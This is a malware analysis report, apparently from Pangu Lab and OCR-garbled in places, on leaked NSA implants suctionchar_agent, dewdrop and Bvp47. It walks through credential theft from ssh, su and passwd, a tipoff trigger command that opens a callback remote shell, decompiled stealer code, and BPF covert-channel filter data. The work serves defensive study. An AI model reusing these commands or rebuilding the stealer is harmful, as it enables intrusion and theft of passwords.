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1. Executive Summary

In report " Bvp47 — A Top-tier Backdoor of US NSA Equation Group " (Reference 1), Bvp47 is like a huge
shell or compressed package, containing a total of 18 fragments. Pangu Labs gives attribution analysis
and description of some technical details, such as BPF covert tunneling. However, there are still some
other modules worth in-depth analysis. Those modules can either perform functions together as part of
Bvp47 or be used independently.

In a forensic to Solaris system of one critical infrastructure in 2015, Pangu Lab extracted another sample,
which survived independently on the Solaris platform and seemed to be closely related to Bvp47. After
analyzing the leaked information, we confirmed that the content of the sample file was same to Suction-
char_Agent which was leaked from The Shadow Brokers. When executed with dewdrops, incision and
other modules, it can easily steal password of target system, when user is executing commands like ssh,
passwd, sudo. The file stored stolen passwords in target system also requires private key of RSA algorithm
for decryption.

The process of tracking Bvp47 is more like exploring a puzzle under fog. This report will further illustrate
parts of working method and execution logic of Bvp47, a top-tier backdoor platform, through analysis of
Suctionchar_Agent, Dewdrop, and Bvp47_loader.
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2. Attack Scene Restoration of
suctionchar_agent

W Attack Scene

After repeated attempts and tracking of the execution process, Pangu Lab roughly restored attack scene
of suctionchar_agent combining with other components, as shown in following figure:
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1. The sum module running in the kernel layer will assist suctionchar_agent to steal account passwords
from processes such as PASSWD, TELNET, and SU;

2. The stolen credentials will be synchronized to suctionchar_agent running on Ring3;

3. suctionchar_agent will save the stolen credentials to hidden directory of "/var/tmp/.xxxxxxxx";

4. Attacker remotely sends trigger packet, that runs ish callback, to the BPF filter at the kernel layer;
5. The BPF filter captures the featured packet and transmits it to dewdrop in Ring3;

6. Dewdrop decrypts the data packet to obtain the ish callback command, and forwards it to incision
program;
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7. The incision program actively executes callback command to contact C&C server, and the attacker uses
ish to obtain the password file;

8. The attacker decrypts the password file with RSA private key and then obtains stolen passwords

B Scene Restoration

1. Run the tipoff command-line program. The list of command options is as follow:

Jtipoff -h
usage: /tipoff [options]

* -t, --destination-address address[:port] - The address to send the trigger packet to

+ -p, --destination-port port - Port to use for sending trigger -R, --trigger-address address - The target address to use in the trigger
command data, required when using nat with
a trigger packet. The target address is used

by default.

* -a, --callback-address address[:port] - The trigger callback address
* -¢, --callback-port port - The trigger callback port

-5, --source-address address[:port] - Use this source address for the trigger

-u, --source-port port - Use this port when sending tcp/udp
* -r, --protocol, --transport protocol - Transport layer protocol used to send trigger (tcp/udp/icmp)

-A, --application protocol - Application layer protocol used to send trigger (dns/smtp/sip)
-C, --command command - The command protocol identification value.

-E, --time time - The time to use, in seconds since the epoch

-K, --time-skew skew - The time skew to use, in seconds

-M, --list-icmp-options - List typical icmp options

-l, --icmp-options type,code - icmp type and code fields

-n, --raw-send [<address>:]port - Send raw trigger packet data to this address,

port. The default address is localhost.

-0, --tcp-connect - Establish tcp connection for trigger

-f, --tcp-flags flag[.flag] - tep flags (syn, fin, rst, push, ack, urg)

-L, --list-firewall-types - Print supported firewall types to stdout

-F, --bypass-firewall type - Bypass firewall (types: pix)

-m, --mail-from address - Use this as from” address for SMTP/SIP application protocol data
-l, --rept-to address - Use this as "to’ address for SMTP/SIP application protocol data

-d, --dns-flags bytes - The 16-bit dns flags value

-U, --forward-offset - Use a forward offset trigger packet

-T, --start - The 16-bit start of trigger data value

-i, --start-ish - Start an incision callback listener

-x, --execute file - Use command 0x04 and start execute call back listener with given file
-q, --quiet - Do not print informational messages

-h, --help - This help message

* - Required parameter
+ - Required parameter when using TCP or UDP
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2. The summary of key options is as follow:

Option Category Feature

Trigger Protocol Support TCP, UDP, ICMP

TCP Flags syn. fin, ack, rst. push, urg

Firewall Bypass PIX or others ; Bypass firewall and ACL by default
Application Protocol Protocols like SMTP, SIP, DNS

Backdoor Feature 1 Execute file remotely

Backdoor Feature 2 View in remote shell

Configurations of Multiple Protocols Configure flags of SMTP, DNS, TCP

3. Support obtaining remote shell in UDP protocol

[root@localhost Desktopl# ./tipoff --trigger-address 192.168.159.128 --target
-address 192.168.159.128 --target-protocol udp --target-port 738 --callback-a
ddress 192.168.159.129 --callback-port 2468 --start-ish

TRIGGER DATA

COMMAND = Ox01

DESTINATION ADDRESS = 192.168.159.128:738

TRANSPORT PROTOCOL = udp (17)

TIME STAMP = Sun Mar 6 11:45:07 2022 (1646595907)
TIME SKEW = 43200

CALLBACK ADDRESS = 192.168.159.129:2468

SOURCE PORT = 64259

START OF TRIGGER = 0x0136

Invoking ISH on port 2468...
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is 'A]’.
25146,1

Skipping environment dump...
bash-3.00# [}
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4. The UDP packet is as follow:

18361 39829 762657 192. 168 159, 129 192.168.159.128 UDP 178 54259 + 738 Len=136
- . 1 > - 9 :

unreachable t unreachabl

18365 39829.703448 192.168.159.128 192.168.159.129 TCP 66 32917 -+ 2468 [ACK] Seqg=1 Ack=1 Win=5840 I
18366 39829.7603657 192.168.159.128 192.168.159.129 TCP 194 32917 » 2468 [PSH, ACK] Seq=1 Ack=1 Win=t
18307 39829.703851 192.168.159.129 192.168.159.128 TCP 66 2468 » 32917 [ACK] Seq=1 Ack=129 Win=579:
18308 39829.750556 192.168.159.129 192.168.159.128 TCP 74 2468 » 32917 [PSH, ACK] Seq=1 Ack=129 Wir
18309 39829.750852 192.168.159.128 192.168.159.129 TCP 66 32917 » 2468 [ACK] Seq=129 Ack=9 Win=584¢
18314 39879.751348 192.168.159.179 197.16R.159.178 TCP 74 2468 -+ 37917 [PSH. ACK1 Sea=9 Ack=179 Wir

<

> Frame 18301: 178 bytes on wire (1424 bits), 178 bytes captured (1424 bits) on interface \Device\NPF_{BD992997-9A45-4A¢
> Ethernet II, Src: VMware_de:9c:aa (©8:0c:29:de:9c:aa), Dst: VMware_2a:ff:ac (@0:0c:29:2a:ff:ac)
> Internet Protocol Version 4, Src: 192.168.159.129, Dst: 192.168.159.128
> User Datagram Protocol, Src Port: 64259, Dst Port: 738
~ Data (136 bytes)
Data: @1369bRac86e493cd2529f35e607ebede98flceeeb566b0a69e51149353d0af139293d07..

0e06 8. ec 29 2a ff ac 8@ @c 29 de 9c aa @8 €0 45 @6
0016 00 a4 00 ©1 60 00 4@ 11 b9 f5 c@ a8 9f 81 ¢ a8
paz2e 28 B

2030 Nl
aade
ea5e
2068
aaje
aage
ee9e
P0a8 g
8abe l4pts

5. Hidden processes and files can be listed in the obtained shell

root 5697 5562 0 00:28 pts/2 00:00:00 bash

root 6116 1 001:23 ? 00:00:00 cupsd

root 24682 1 008:20 ? 00:00:00 /usr/bin/modload

root 24683 24682 0 08:20 ? 00:00:00 /usr/bin/modload

root 24684 1 008:20 ? 00:00:00 /usr/bin/modload

root 25146 1 D 11:45 7 00:00:00 /fusr/bin/modload

root 25147 25146 0 11:45 pts/3 00:00:00 /bin/bash --posix +o0 history
root 25178 25147 0 11:46 pts/3 00:00:00 ps -ef

bash-3.00#
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6. The encrypted files in the "/var/tmp/" directory are as follows

bash-3.00# pwd

/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9%9acdB80e85e2eaabeb0
bash-3.00# 1s -1

total 4
B o T — 1 root root 154 Mar 9 09:07 d5373al146ff9f200a2376054dde25677

7. Use suctionchar_decode to decrypt the encrypted files in the "/var/tmp/" directory:

root@localhost Desktop]# ./suctionchar_decode__v__3.3.9.27_x86_64-1linux-re(
it-enterprise-4.9 444

reating file "20220308033113_19577 _passwd_test"
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3. Technical Details
of suctionchar_agent

B File Information

In on-site environment, we extracted one program in Solaris Sparc architecture. After comparing it with the
leaked Shadow Brokers data, we confirmed the connection. The file related information is as follows:

Sample Information Summary:

Filename unknown
MD5 a633clce5a4730dafa8623a62927791f
File Size (bytes) 47,144

The Shadow Brokers Package Name | suctionchar_agents.tar.bz2

Original File Name suctionchar_agent_v__3.3.7.9_sparc-sun-solaris2.9

Steal passwords from SSH, TELNET, FTP, PASSWD,
SU. RSH. LOGIN, CSH

Feature

CPU Architecture SPARC

Hidden Path 2 /var/tmp/ XXXXXXXXXXXX

The CPU adaptation architecture of the sample obtained at the on-site environment is SPARC. Through
correlation and attribution analysis, we found that the sample is one of the files leaked by The Shadow Bro-
kers, namely suctionchar_agent v 3.3.7.9 sparc-sun-solaris2.9. However, good decompiler targeting
SPARC architecture is not available currently. Since there are homologous binary programs suitable for
multiple platforms in the leaked file package, we refer one sample with the same function of the x86 archi-
tecture for analysis. The specific file information of the x86 architecture is as follows:
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Sample Information Summary:

Filename

suctionchar_agent__v__2.0.28.2_x86-linux-centos-5.1

MD5

4a5b7a9c5d41dbe61c669ed4cf2975e5

File Size (bytes)

31,649

The Shadow Brokers Package Name

suctionchar_agents.tar.bz2

Original File Name

suctionchar_agent_ v_ 2.0.28.2_x86-linux-centos-5.1

Feature

Steal passwords from SSH, TELNET, FTP, PASSWD,
SU. RSH. LOGIN, CSH

CPU Architecture

X86

Bvp47 Corresponding Slice

OxOE

Hidden Path 2

/var/tmp/ XXXXXXXXXXXX

B Sample Correlation

According to the obtained sample "suctionchar", the corresponding original file was found in the file
leaked by The Shadow Brokers as "linux/bin/suctionchar_agents.tar.bz2/suctionchar_agent__v__ 3.3.7.9

_sparc-sun-solaris2.9". The compressed package also includes multiple versions of suctionchar files for

serveral platforms, dating back to 2007:
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W Technical Analysis
® String Decryption

As shown in the figure below, string encryption is also the 0x47 function encryption described in Bvp47:

e w we

Bae4CFeR sub_B84CFe8 prec near ; CODE XREF: sub_BB49B4G+487Tp
BEBICFER ; sub_8B49EF@+49tp ...
B84CFEa

esedCFee var_14 = dword ptr -14h

LT var_D = byte ptr -80Dh

BEBACFEE arg_g = dword ptr 8

BRBICFEA arg_4 = dword ptr 8cCh

e8eqCFee arg_8 = dword ptr 18h

@BR4CFeR

BERACFER 55 push ebp

8884CFE1 B9 ES mow ebp, esp

e8eq4CcFe3 57 push edi

g8e4CFed BF 21 80 2@ 8o mon edi, 1

BAR4CFES 56 push esi

B8884CFBA 53 push ebx

@884CFeR B3 EC @8 sub esp, B

B8BACFEE BB 75 BC moas esi, [ebp+arg_4]
B884CF71 BB S0 88 mow ebx, [ebp+arg 8]
B8B4CF74 BF BE 86 movzx  eax, byte ptr [esi]
BBRACFT7 46 inc esi

B8R4CF7E BB 45 F3 moas [ebps+var D], al
B8B4CF7R BB 45 18 mov eax, [ebp+targ_2]
B8R4CFTE 40 inc eax

B8BACFTF B9 45 EC mow [ebps+var_14], eax
B884CFB2 39 C7 Cmp edi, eax

2804CFB4 73 27 jnb short loc_864CFAD
B804CFBE 8D 76 00 lea esi, [esi+@]
@8@4CFES BD BC 27 80 B8 02 06 lea edi, [edi+a]
BE84CFoI8

a8p4croe loc_g@4CFoa: 5 CODE XREF: sub_B8@4CFe@+4B1j
BBBACFO8 BF BE 85 movzX eax, byte ptr [esi]
B884CF93 B9 F9 moas ecx, edi

B8B4CFO5 47 inc edi

B8B4CFO6 BF BE 55 F3 movzx  edx, [ebp+var_D]
BROACFOA 46 inc esi

BEB4CFOB 38 C2 xor dl, al

B8BACFID 38 CA xor dl, cl

B8BACFOF B@ F2 47 xor dl, 47h |
@884CFA2 BE 13 mons [ebx], dl

BEBACFAS 43 inc ebx

BEBACFAS 80 45 F3 add [ebp+var_D], al
GBR4CFAR 2B 7D EC cmp edi, [ebp+var_14]
BEBACFAB 72 E3 ib short loc_884CF98
BEBACFAD

B884CFAD loc_884CFAD: ; CODE XREF: sub_B@4CFEB8+2471]
@884CFAD BB 45 88 mow eax, [ebp+arg_8]
8804CFBE B3 C4 98 add esp, B

8884CFB3 5B pop ebx

B8e4CFBY SE Pop esi

BBBACFBS 5F pop edi

BABICFBG 5D pop ebp

B8884CFBT C3 retn

@8R4CFB7 sub_8@4CFee endp
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The list of decrypted strings is as follow:

Address Length Type String

! xodataDSODGHQOOOODOOA C J/dev/null

‘s’ .rodata:08006... 00000021 @ a0b973925e397d9acd80e85e2eaabebl
‘s’ .rodata:08007... 00000008 C Y%s#fork

‘s’| .rodata:08007... 00000007 G, (null)

‘s’ .rodata:08007... 0000000A € Afldev/tty

‘s’ .rodata:08007... 00000038 C A((fusr(/local)?)?/s?bin/)?(ssh|telnet|ftp|passwd)( |$)
‘s’ .rodata:08007... 00000021 (i d5373a146ff9f200a2376054dde25677
‘s’ .rodata:08007... 00000021 (6 dc9cb44a723d0e75201d933159834173
‘s .rodata:08007... 00000021 C dc9cb44a723d0e75201d933159834173
Eﬂ.rodata08007“.00000006 G /proc

.rodata:08007... 0000000D C /proc/%s/exe

.rodata:08007... 00000011 C /proc/%s/cmdline

‘s’ .rodata:08007... 0000000C € /dev/random

‘5’| .rodata:08007... 0000000D © J/dev/urandom

The relevant decryption script is as follow:

ida by
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® Function Module Design

The file "Linux\etc\opscript.txt" has a description of suctionchar’s function. It steals account and password
in programs such as SSH, TELNET, FTP, PASSWD, SU, RSH, LOGIN, and CSH. The suctionchar_agent
program is just an application layer agent, which communicates with the associated kernel module to
obtain the required information and encrypts it and writes it to a file. The kernel module sum file (not includ-
ed in The Shadow Brokers Leaks) can be loaded by the modload program. After the kernel module is suc-
cessfully loaded, the dropped files will be deleted to prevent the content from being restored:
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The suctionchar_agent file has a default configuration, and also support external configuration file. The file
formats mainly are XML format of version 3.x and above and the earlier conf format.

XML format of versions above 3.x ("Linux\bin\suctionchar_configure.xml"):
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“Linux\doc\old\etc\suctionchar.sample. filter.conf” :

suctionchar_configure will generate the "dc9cb44a723d0e75201d933159834173" file, which is used by
the agent:

usage: ./suctionchar_configure_v__3.3.10.3_x86-linux-centos-5.7 [ XML_CONFIG
URATION_FILE | -r ]

This tool is used to generate a SUCTIONCHAR binary configuration
file from an XML configuration specification. The XML data is
read from standard input if no file specified on the command line

This tool can also be used to verify a generated binary file by

using the -r option

This tool will always write to and read from the file ./dc9cb44a723d0e
75201d933159834173
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® Thread of Collecting Password

In the suctionchar_agent, there is a separate thread that communicates with the kernel module sum to
obtain the account password and write it to the /var/tmp/ folder, that is, inside the sub_8049EFO0 function:

® 30 if (ve)

31
® 32 switch ( ve )
33 {
34 case 1:
® 35 v = 5;
® 36 v5 = "scp”;
® 37 break;
38 case 2:
® 35 ve = 8;
® 48 v5 = "telnet";
® 41 break;
42 case 3:
® 43 ve = 5;
® 44 vs = "ftp";
® 45 break;
46 default:
® 47 ve = 8;
® 48 v5 = "passwd";
® 49 break;
50 }
51 }
£2 else
53 {
® 54 ve = 5;
® 55 vE =itssh®s [
56 }
® 57 1f o w73 Sa )
58 {
® 59 v7 = 9;
® 6o v3 = v9;
61 3}
62 else
63 {
® 64 V2 = V7++;
® 65 v3 = &v9[16 * v2];
66

® 67 vll = sub_8e4CFee(v3, v5, v6);
® 68 *(_DWORD *)v8 = 8;
@69  if ( sub_seaca2e((int)ve, 1) )

® 70 break;

@71 if ( sub_8@4C840(*(_DWORD *)v8, vi2) )
® 72 break;

®73 if ( sub_8@4cC8Co(*(_DWORD *)vg8, @) )
® 74 break;

@ 75 if ( sub_g8@4cs8ce(*(_DWORD *)vg, 1) )
® 76 break;

® 77 if ( sub_804C8CO(*(_DWORD *)v8, 2) )
® 78 break;

® 79 if ( sub_se4coee(vs[e], vi) )

® 30 break;

® 381 if ( sub_ge4c73e(vs[e], viil) )

® 382 break;

® 33 result = sub_8B4AEE@(*(_DWORD *)v8, sub_86497E0, @);
® 34 if ( result )

® 35 break;
® 386 if ( (unsigned __int8)++v@ > 4u )
® 87 return result;
83 }
@ 89| return 257;
® %}
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Callback function sub_8049A00:

int cdecl sub_se4oae({char *s, int a2)

int v2; // edi

4 int v3; // esi

5 size t w5; f/ ebx
6| time_t v6; // eax
7| ssize t v7; [/
8| char vB8; // [
9 int vo[3]; // [
18| char buf; // [es h

11| struct stat stat_buf; // [es &h] BYR
= 8;
= sub_B84DF18(&mutex);
®17| if ( Iv3)
18| {
19| vE = 1;
29 if (fds=0)
21 {
22 if ( __fxstat(3, fd, &stat_buf) || stat_buf.st_nlink )
23 goto LABEL_15;
@ 24| if ( fd>=10 )
25 1{
® 26 close(fd);
2 = =1;
28 }
29 }
® 30 fd = open(&g_s, 1090, 384);
® 31 if (fd < @ )
32| {
33LABEL_18:
34 via= -1;
a5 goto LABEL_3;
35 i
37|LABEL_15:
® 33 v2 = lseek(fd, @, 2);
29 i 2328 )
48| {
® 11 v5 = strlen(s) + 1;
» 42 if ( v5 + v2 + 17 <= Ox520000 )
43 {
» 44 if ( write(fd, &buf, 1u) == 1)
45 {
® 46) a2 = HIBYTE(a2) | ((unsigned int)a2 »> 8) & @xFF@® | (BYTEl(a2) << 16) | ((unsigned __intE)aZ << 24);
® 47 if ( write(fd, 8a2, 4u) == 4 )
48 {
b 49 v6 = time(@);
58| vo[@] = ((unsigned int)(wé >> 31) > 24) | ((unsigned int)(vé >> 31) >> B) & @xFFO@ | ((unsigned _ int8)((unsigned _ int16)(v6 >> 31) >> B) << 16) | (v6 >> 31 << 24);
51 vo[1] = HIBYTE{vE) | ((unsigned int)ve >> 8) & OxFFee | (BYTE1(v6) << 16) | ((unsigned _ int8)ve << 24);
® 52 if ( write(fd, vo, Bu) == 8 )
53 i
54 a2 = HIBYTE(vS) | (v5 »> 8) & @xFFea | (BYTEL(vS) << 16) | (v5 << 24);
55| if ( write(fd, &2, 4u) == 4 )
5 sub_seaDi2e(s,
58| v? = write(fd,
® 59 if ((v7 >= 8 8& v
[ goto LABEL_6;
61

® File Path Generation Algorithm for Saving Password

The generation algorithm of the hidden file "/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9acd80e85e2ea
a6e60/d5373a146ffof200a2376054dde25677" is described in the function get_hidden_path_0804BDFO:
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1fint _ cdecl get_hidden_path_88e4BDF8(char *s, int al)

2{

L e e e e i e
@ D00~ 0N B A DO B W

® 50

.52
.53
® 54
®5s
® 56
.57

58
® 59

68

61

const char *"v3; // eax

int v4; [/ edi

char *vS; [/ eax

unsigned int v6; // eax

char *format; // [esp+24h] [ebp-1B4h]

int vB; // [esp+28h] [ebp-1B@h]

__fsblkent_t v9; // [esp+2Ch] [ebp-1ACh] BYREF
struct stat v18; // [esp+38h] [ebp-1ABh] BYREF
char vi1[11]); // [esp+9@h] [ebp-148h] BYREF

char v12[11]); // [esp+9Bh] [ebp-130h] BYREF

char v13[11]); // [esp+AGh] [ebp-132h] BYREF

char vi4[11]); // [esp+Blh] [ebp-127h] BYREF

char vi5[11); // [esp+BCh] [ebp-11Ch] BYREF

char vi6[25); // [esp+C7h] [ebp-111h] BYREF

char *filename[4]; // [esp+Eéh] [ebp-F8h]

char *file; // [espsFeh] [ebp-Esh]

int v19; // [esp+F4h] [ebp-E4h]

struct stat stat_buf; // [esp+1eeh] [ebp-D8h] BYREF
struct statvfs v21; f/ [esp+l6@h] [ebp-78h] BYREF
int v22[1e]; // [esp+1Beh] [ebp-28h] BYREF

vE = @3
if ( 1s || laz )

return -268435447;
filename[@] = sub_8e4CFe8(vii, "/var/tmp/", 11);
filename[1] = sub_8e4CFee(vi2, “"/1ib/", 7);
filename[2] = sub_8ed4CFee(v13, “/dev/", 7);
filename[3] = sub_B8d4CFed(vid, "/etc/", 7);
file = sub_8@4CF6B(v1S, "/°, 3);

vig = @;
format = sub_BB4CFeB(v16, a58161lx, 12);
if ( statvfs(file, Bu21) || __xstat(3, file, &stat_buf) )// IEE"/"Miblocks# i

return 1536;
v3 = filename[8];
v = 8;
if ( filename[@8] )

while ( _ xstat(3, v3, &vie) || stat_buf.st_dev != vie.st_dev )
v3 = filename[++v4];

if ((v3 )
return 1536;

}
v5 = filename[v4];
}
else
i
vs = 8;
}
if ( Ivs )

return 1536;
v8 = v21.f blocks;
sub_804D2Fe((int)8&va, 4, (int)vi2); /1 wRETmdS i
v6 = snprintf(s, ®(_DWORD *)a2, format, filename[v4], v22[8], v22[1]) + 1;// BHERBRELH
if ( v6 <= "(_DWORD *)a2 )

*(_DWORD *)a2 = v6;

else

The restored code is roughly as follows:

md5_context ctx;

unsigned int blocks;

int rv;

struct statvfs buf; rv = statvfs("/", &buf);
blocks = buf.f_blocks;

char path[ 2048 ];

struct stat sbuf;

md5_starts(&ctx);

md5_update(&ctx, (char*)&blocks, 4);
unsigned char out[16];
md5_finish(&ctx, out);

memset( path, 0, sizeof(path) );

snprintf( path, sizeof(path) - sizeof(*path), "/var/tmp/.%01611x/"

(int*)out) [0], ((int*)out)[1] );
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® Private Key of suctionchar_decode

As described in the scene, the file "/var/tmp/.e33ff11cb8e3b4ff/a0b973925e397d9acd80e85e2eaabe60/d
5373a146ff9f200a2376054dde25677" can be decrypted by the "linux\bin\suctionchar_decode" program,
and the encryption algorithm needs to use the RSA private key to decrypt the RC6 symmetric key. file. Like
the private key in Dewdrops, this RSA private key can also support the association between the backdoor
and The Shadow Brokers leaked data package.

.text:8804B068 jmp loc_B@4c474
O I@BOABDGD ; - - - - oo s - s mm e oo e
.text:8884BDED

.text:8884BD6D loc_884BD6D: ; CODE XREF: main+2111j
.text:0804BD6D sub esp, 8

.text: 08048070 push offset a0k ; "ok\n"
.text:8884BD75 push ds:stderr@@GLIBC_2_@ ; stream

|.text :9804BD7B call fprintf

.text:8884BD88 add esp, 1eh

.text:0824B083 sub esp, 8

.text:8884BD86 push offset aDecryptingInto ; “decrypting into rcé key and mi... "
.text:8804B08B push ds:stderr@@GLIBC_2 @ ; stream

.text: 08848091 call _fprintf

.text:@804BD96 add esp, 1eh

.text:8824BD99 sub esp, BCh

.text:8804B09C push ds:stderr@@GLIBC 2 @ ; stream
|.text:0884BDA2 call _fflush

.text:@804BDAT add esp, 1@h

.text:8884BDAA sub esp, 4

.text:8884BDAD lea eax, [ebp+var 268]

.text:0804B0B3 push eax 3 int

.text:0804B0B4 lea eax, [ebp+var_282F8]

|-text :8884B0BA push eax R

|.text:0824B0BB lea eax, [ebp+s]

-text:8884B0C1 push eax ; dint

|. text :@884BDC2 call rsa_expon_decrypti128 ; RSATAVIMREES
.text:8884BDCT add esp, 18h

.text:8884B0CA cmp eax, 1

.text:0804BDCD jz short loc_BO4BDF4

.text:@824BDCF sub esp, B

.text:@824BDD2 push offset aCheckDidNotAut ; "check did not authenticate. something "
.text:8804B0D7 push ds:stderr@@GLIBC 2 @ ; stream

|.text :0884B0DD call _fprintf

.text:8884BDE2 add esp, 1eh

.text:0884BDES mov [ebp+var_28364], 4

.text:8804BDEF imp loc_Be4ca74

e TOBBABDF S ; - oo - - oo oo e oo e
.text:@804B0DF4
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4. Technical Details of dewdrop
version 3.X

The Dewdrop module undertakes the most important hidden backdoor function, that is, the BPF filtering
function. This chapter mainly discusses the implementation process corresponding to the BPF engine
communication.

W Initialization of BPF Covert Communication Process

1. The initialization of BPF covert backdoor starts from function _554a7941;

R oy Bt AuB_MueuTUET,
BEEB81CE EB 1F Jmp short loc_8@eelEF
egeee1De AR R SRR b e e L S S R e e e B S e B e S R B S AR S S R R S
BseeelDe
8800106 loc_seseliDe: ; CODE XREF: _554a7941+AD
e8eee1De C7 45 E4 @0 €0 Pe 00 mov [ebp+stat_loc], @
f8eee1D7 8D 45 E4 lea eax, [ebp+stat_loc]
B88001DA 89 84 24 mov [esp], eax ; stat_loc
B8eee10D EB F6 9C @8 @e call wait
BBEOe1E2 85 C@ test eax, eax
@80001E4 7E 65 jle short loc_8seeez48
©86001ES 80 3D A4 7F €0 88 o1 cmp g_flag_ba2b4ee4, 1
B8@0@1ED 75 52 Jnz short loc_s@ee241
@80eR1EF

@OR1EF loc_8@8@1EF: ; CODE XREF: _554a7941+7ET]
19800O1EF ; _554a7941+EFLj

@ee1EF EE 1@ 50D ee ee call fork
@8eee1F4 A3 Ae 7F 00 @8 mov _2883ab43, eax
B88001F9 85 Ce test eax, eax
BEeB81FE 7C 4F Wil short loc_g@ee24B8
©8eee1FD 7F D1 e short loc_seeeiDe
@8000LFF C7 84 24 82 6@ 88 @8 mov dword ptr [esp], 2 ; sig
B8600206 31 D2 xor edx, edx
e8eee2es 29 54 24 o4 mov [esp+4], edx ; handler
egeee2eC E8 D3 9C 00 @0 call signal
98000211 C7 @4 24 @F 6@ @8 ee mov dword ptr [esp], @Fh ; sig
BEe09218 31 C@ xor eax, eax
9800021A 20 44 24 04 mov [esp+4], eax ; handler
B8ee621E E8 C1 9C 88 ee call signal
88600223 89 3C 24 mov [esp], edi ; file
B8eee226 EB B5 2E @8 @e call sub_see3eEe
©800022B EB AP 2E 00 @0 call sec_bpf_init 3 ik {cbpf
88800238 89 B4 24 mov [esp], eax ; bpf_program
8000233 EB 48 91 00 80 call sec_f_ob518be3 ; #MAbpFiLEg
Bgeee238 88 3D M TF 60 88 el cmp g_flag_ba2baee4, 1
}BBGBOZSF 74 AE jz short loc_88@e1EF
62000241
|BEeee241 loc_gesa241: ; CODE XREF: _554a7941+9D1]j
l-ﬂﬂﬂﬂﬂ"i“‘ 03 ra ar add - 17k

2. sec_bpf_init returns the structure of bpf_program

@saesena ; int __cdecl sec_bpf_init()

e8ee3eDe sec_bpf_init proc near ; CODE XREF: _554a7941+DBtp
e8E038De 55 push ebp

98003001 BS @0 83 0@ es mov eax, offset stru_gees3ee ; iEEbpf_programitiith
egee3eDs 89 ES mov ebp, esp

@8ee3eDs sD pop ebp

@gee3en9 C3 retn

@esee3eDs sec_bpf_init endp

o8003002
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3. The specific values of the stru_8008300 structure are as follows

8008300 32 00
BOOE300
8008308 00 00 o0 ee
B800836C @6 00 60 PO
8008310 00 00 00 PO
8608314 06 60 60 PO
8088318 20 80 ee ee
888831C e9 90 o0 00
5008320 B8O 00 0O 0O ©O BO
8008320 14 00 00 00 06 eo
o80e8320

PE00833@ @7 ee 00 00 02 00
BBOGE330 48 6D PO 60 00 60
08088340 44 @0 08 80 CF E6
08008340 02 60 00 60 04 00
P80OB350 48 0P PO 00 00 B0
68008350 54 90 00 @0 CF Eb6
P8008360 B4 0D PO 00 00 ©0
080e8360 14 00 €0 00 @1 ee
08008370 @7 00 B0 60 OA 80
PD80OE370 60 00 00 PO 04 80
p8Ge8388 5C 60 00 00 60 60
OEGBE380 87 00 90 80 0A e
08008390 02 60 00 60 04 00
98008390 BO 0P PO 00 0O B0
08008340 1C 90 00 00 00 0
O80O83A0 ©7 00 00 @D PA
O80OE3E0 48 @0 20 €0 0o
PBOGB3EG 02 00 6@ €. 06
080823Ce 61 @0 00 00 04
B8OBB3Ce 30 66 66 eo 17
8008300 15 00 @8 85 86
080e83De 30 ©0 00 €0 2E
DB0OB3EG 74 00 00 00 B2
©800B83Ee 14 @0 00 eo 14
080083F0 OC 60 6@ 60 Be
D80EE3F0 @7 @0 208 60 9A
B80EB400 48 60 00 €0 OF
08008400 02 60 00 60 08
08008410 80 60 00 €0 oo
8008410 14 60 60 €0 82
68008420 @7 90 00 @0 02
P800B420 48 00 00 OO PO
P80eB430 44 G0 90 €0 BA
08008430 02 00 B0 60 B4
P800B440 48 60 00 60 00
080GB440 54 60 00 €0 6A
P80E8450 84 ©0 90 €0 0e
08008450 14 ©0 00 €0 91
08008460 @7 00 60 00 PA

888583888883 88888888888888

90 20 20 83 @0 @8 stru_sees3ee

00+stru_gees32e
ee

e+
1]
2o+
=]
28+
(=%]
o0+
ee
oo+
ee
00+
/e
8o+
[=1:]
20+
28
e+
1]
20+
=]
20+
[=%]
oo+
ee
oo+
ee
Be+
(=]
BB+
e
00+
[=1:]
ee+
2]
28+
1]
oo+
ee
0o+

bpf_program <32h, offset stru_sees3ze>

dd @
dd 8
dd @
dd @
dd @
dd @
bpf_insn

bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn

; DATA XREF: sec_bpf_init+lTo

< 8eh, 0, e, o>
; DATA XREF: .data:stru_geeg3eeto
< 14h, o, o, 6>

i B 0D
<48h, @, @, @8>
<44h, @, 8, BEG6CFh>
<2, @, 9, 4>

<48h, @, @, @>
<54h, @, @, OE6CFh>
<84h, @, @, &>
<14h, e, @, 1>

<7, 8, ©, BAh>
<6éh, 8, @, 4>
<5Ch, @, @, &>

<7, @, @, eah>

<2, 8, 0, 4>

<g8eh, e, @, &>
<ich, @, @, 8>

<7, 8, @, 8Ah>
<4gh, @, @, 8>

2, 9, 8, &
<61lh, 0, 8, 4>
<3eh, 8, 0, 17h>
<15h, @, 5, 6>
<3eh, @, @, 2Eh>
<74h, @, 9, 2>
<14h, o, @, 14h>
<éch, e, @, o>

<7, @, @, eah>
<48h, @, @, @Eh>
<2, 8, 9, 8

<geh, o, 0, 0>
<14h, 8, 0, 2>

<7; B, 9, 2>

<48h, @, 8, ©>
<44h, @, @, 9D6Ah>
<2, @, 9, 4>

<48h, 8, @, &>
<54h, @, 8, 9SD6Ah>
<84h, 0, 0, &>
<14h, B8, @, 1>

<7, 8, @, eAh>

4. The structures of bpf_program and bpf_insn are as follows

00600000
00000000
00000060
©00000008
00000000
00600004
00000008
00000008

bpf_program

bf len
bf_insns
bpf_program

struc ; (sizeof=0x8, align=@x4, copyof_65)

dd ?
dd ?
ends
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20000000

20000000 bpf _insn struc ; (sizeof=0x8, align=0x4, copyof 34)

20000000 ; XREF: .data:stru_808320/r
2000006000 ; .data:08008330/r

20000000 code dw ?

20000002 jt db ?

2eeeeen3 jf db ?

20000004 k dd ?

20000008 bpf _insn ends

20000008

5. The code disassembled by bpf is as follows
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6. The pseudo code of actual runtime BPF is as follow. The payload data that matches this rule will be
captured and sent to next process;

#l Data Processing of BPF Covert Communication

After matching the capture rules of BPF, the packet will be sent to next process.

